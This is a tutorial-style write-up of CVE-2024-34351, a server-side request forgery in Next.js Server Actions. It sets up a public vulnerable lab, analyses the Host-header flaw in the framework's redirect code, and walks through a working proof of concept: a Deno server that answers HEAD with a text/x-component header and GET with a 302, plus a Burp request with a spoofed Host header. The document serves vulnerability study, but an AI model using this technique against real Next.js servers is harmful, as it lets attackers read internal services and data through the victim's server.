CVE-2024-34351: Trusting the Host Header—Next.js Server Actions as a Blind-to-Read SSRF Proxy

Summary:

CVE-2024-34351, Next.js (13.4.0-14.1.0) is susceptible to possible full-read SSRF on calling redirect('/.') in Server Actions since the app takes the Host header from the incoming request and directly utilizes it to construct a new URL: attacker redirects Host to its server, Next.js initially sends a HEAD request to that target; attacker deceives Next. js that "this is a React Server Components stream" by responding with Content-Type: text/x-component, and then 302 redirects the GET response to the actual target (e.g. internal network service); the framework follows the 302 and returns the entire body of the target resource to the client, so the attacker can both invoke internal/external services visible to the server as well as get the content directly; the problem was solved in v14.1.1 by removing the usage of Host.

Setting up the Vulnerable Environment:

Before testing vulnerability, there is a ready-made environment for the community to test this vulnerability. We will install Azu's repo named nextjs-CVE-2024-34351 on Github on our linux system and thus we will perform all our tests here. First of all, in order to install this environment, we need to have NPM and nodejs installed, let's install them respectively, and then let's use git to install the repo.

sudo apt update
sudo apt install -y nodejs npm

After installing nodejs and npm, let's download the project.

git clone https://github.com/azu/nextjs-CVE-2024-34351.git

Now that we have made the installations, let's take the project live to test it.

npm install
npm run dev

Now the project will be running on your system at localhost:3000, but make sure that no service was running on this port before.

PoC (Proof of Concept) and Exploit:

CVE-2024-34351 vulnerability is an SSRF vulnerability in the Server Actions feature of Next.js framework. This vulnerability arises because the redirect() function used in server-side redirects directly takes the Host header of the incoming HTTP request. When Next.js is building a new request after calling redirect("/page"), it constructs the URL as https://$req.headers.host/page. If the attacker is able to control this Host value (i.e., makes a request with Host: attacker.com), the application makes this redirect to the attacker's target server instead of its internal URL.

Next.js sends a HEAD request to the URL, pulls the content, and then sends a GET request to the client. In this way, the attacker invites internal network services or external resources to read through the server, using the Next.js server as a proxy client.

Now let's try to find out exactly which code blog this problem is caused by and analyze it so that we can fully understand the vulnerability.

https://github.com/vercel/next.js/blob/v14.1.0/packages/next/src/server/app-render/action-handler.ts

The TypeScript file above is the system that creates the running code blog where all GET-POST operations, including redirects in Next.js, are shaped and the response is generated or desired to be generated. For this reason, indirect static file analysis should first look at such files, which are the main building blocks of the system. It collects the routing, creation and content presentation stages and becomes the main building block of the presentation layer.

Let's start analyzing the file, but there are quite a lot of lines of code, so let's start looking for prominent phrases. To make this process more comfortable, you can check the file by downloading it to your system.

After doing some research in our file, I realized that the redirects are made under the createRedirectRenderResult function and I started reading in detail.

async function createRedirectRenderResult(
  req: IncomingMessage,
  res: ServerResponse,
  redirectUrl: string,
  basePath: string,
  staticGenerationStore: StaticGenerationStore
) {
  res.setHeader('x-action-redirect', redirectUrl)
  // if we're redirecting to a relative path, we'll try to stream the response
  if (redirectUrl.startsWith('/')) {
    const forwardedHeaders = getForwardedHeaders(req, res)
    forwardedHeaders.set(RSC_HEADER, '1')

    const host = req.headers['host']
    const proto =
      staticGenerationStore.incrementalCache?.requestProtocol || 'https'
    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)

    if (staticGenerationStore.revalidatedTags) {
      forwardedHeaders.set(
        NEXT_CACHE_REVALIDATED_TAGS_HEADER,
        staticGenerationStore.revalidatedTags.join(',')
      )
      forwardedHeaders.set(
        NEXT_CACHE_REVALIDATE_TAG_TOKEN_HEADER,
        staticGenerationStore.incrementalCache?.prerenderManifest?.preview
          ?.previewModeId || ''
      )
    }

    // Ensures that when the path was revalidated we don't return a partial response on redirects
    // if (staticGenerationStore.pathWasRevalidated) {
    forwardedHeaders.delete('next-router-state-tree')
    // }

    try {
      const headResponse = await fetch(fetchUrl, {
        method: 'HEAD',
        headers: forwardedHeaders,
        next: {
          // @ts-ignore
          internal: 1,
        },
      })

      if (
        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
      ) {
        const response = await fetch(fetchUrl, {
          method: 'GET',
          headers: forwardedHeaders,
          next: {
            // @ts-ignore
            internal: 1,
          },
        })
        // copy the headers from the redirect response to the response we're sending
        for (const [key, value] of response.headers) {
          if (!actionsForbiddenHeaders.includes(key)) {
            res.setHeader(key, value)
          }
        }

        return new FlightRenderResult(response.body!)
      }
    } catch (err) {
      // we couldn't stream the redirect response, so we'll just do a normal redirect
      console.error(`failed to get redirect response`, err)
    }
  }

  return RenderResult.fromStatic('{}')
}

We have identified the main code blog we need to focus on and let's list the operations in detail.

  1. The incoming requests to the system are first classified and the specific information of the request is recorded. Then it checks whether it is a redirect with the res.setHeader(‘x-action-redirect’, redirectUrl) code line.

  2. const host = req.headers[‘host’] takes the host value directly without any query or precaution and assigns it to a variable. The real problem starts exactly here. The host value received by the client is directly processed by the backend.

  3. It then uses this host value directly in the redirect syntax and prepares the query with const fetchUrl = new URL(${proto}://${host}${basePath}${redirectUrl}).

    const host = req.headers['host']
    const proto = staticGenerationStore.incrementalCache?.requestProtocol || 'https'
    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
  1. It assigns the fetchurl variable first to the HEAD request and then to the GET request. The use of the HEAD method is done to query whether the connection to which the request will be sent is active or not.

  2. Now, with the host value received from the user, the request is sent by the server with the routing path address.

  3. All the body information found in the response to the request is now forwarded to the client user.

As shown in Step 6, in order to use the SSRF vulnerability as FULL and not as blind, some more operations need to be done. I have shown these steps in the PoC step.

Now that we fully understand the vulnerability, let's move on to the PoC step and take a look at how it is formed in the prompt we set up. Let's go to http://localhost:3000 in our browser and activate our burp proxy tool for convenience. It will help in shaping the requests.

Activate your burp tool and click on the button that says “Click”. Let's go to the repeter tab to examine the POST request among the requests. Our PoC application has actually taken care of all the operations that need to be done for us with a single request, but one step is missing.

We need to do one more step to ensure that the SSRF vulnerability is not just blind. In this step, it will send back the HEAD request sent by Next.js with a status code of 200 Ok and at the same time return the Content-Type: text/x-component value as a header for React Server Components (RSC) to define it as a stream. In this way, the GET request will be made by bypassing the HEAD step, but in this part, Next.js will need to be redirected to the desired domain address. The redirection will be done and Next.js will follow.

The sample code fragment and ready PoC server was made by Azu who prepared the vulnerable environment and we can access it at https://nextjs-cve-2024-34351.deno.dev/.


Deno.serve((request: Request) => {
    console.log("Request received: " + JSON.stringify({
        url: request.url,
        method: request.method,
        headers: Array.from(request.headers.entries()),
    }));
    // Head - 'Content-Type', 'text/x-component');
    if (request.method === 'HEAD') {
        return new Response(null, {
            headers: {
                'Content-Type': 'text/x-component',
            },
        });
    }
    // Get - redirect to example.com
    if (request.method === 'GET') {
        return new Response(null, {
            status: 302,
            headers: {
                Location: 'https://example.com',
            },
        });
    }
});

The code will respectively detect the HEAD request and return the Content-Type': 'text/x-component header and then handle the GET request and redirect to example.com if it is a 302 redirect.

Let's put the host value and Origin values of the post request we have kept and the URL address prepared before and send it. In the response of the request, we will see the HTML data of the example.com domain address.

The main purpose of sending [] in the body of the POST request is for Next.js to recognize it as a form and to prevent parser problems by preventing the Content-Lenght value from being 0.

When we look at the Response information of the request, we can see the HTML content of example.com.

References:

Updated on